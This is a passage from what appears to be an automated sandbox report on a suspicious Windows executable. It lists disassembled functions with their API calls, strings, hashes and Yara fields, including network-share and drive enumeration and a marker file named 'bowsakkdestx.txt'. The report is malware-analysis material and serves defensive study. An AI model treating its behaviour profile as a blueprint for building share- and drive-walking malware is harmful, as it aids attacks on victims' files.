Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 00463070
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(00800000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(00800000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AllocExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 1059622496-2104205924
Opcode ID: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

LPCWSTRszWindowClass, xrefs: 0041BA65
0, xrefs: 0041BA1D

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

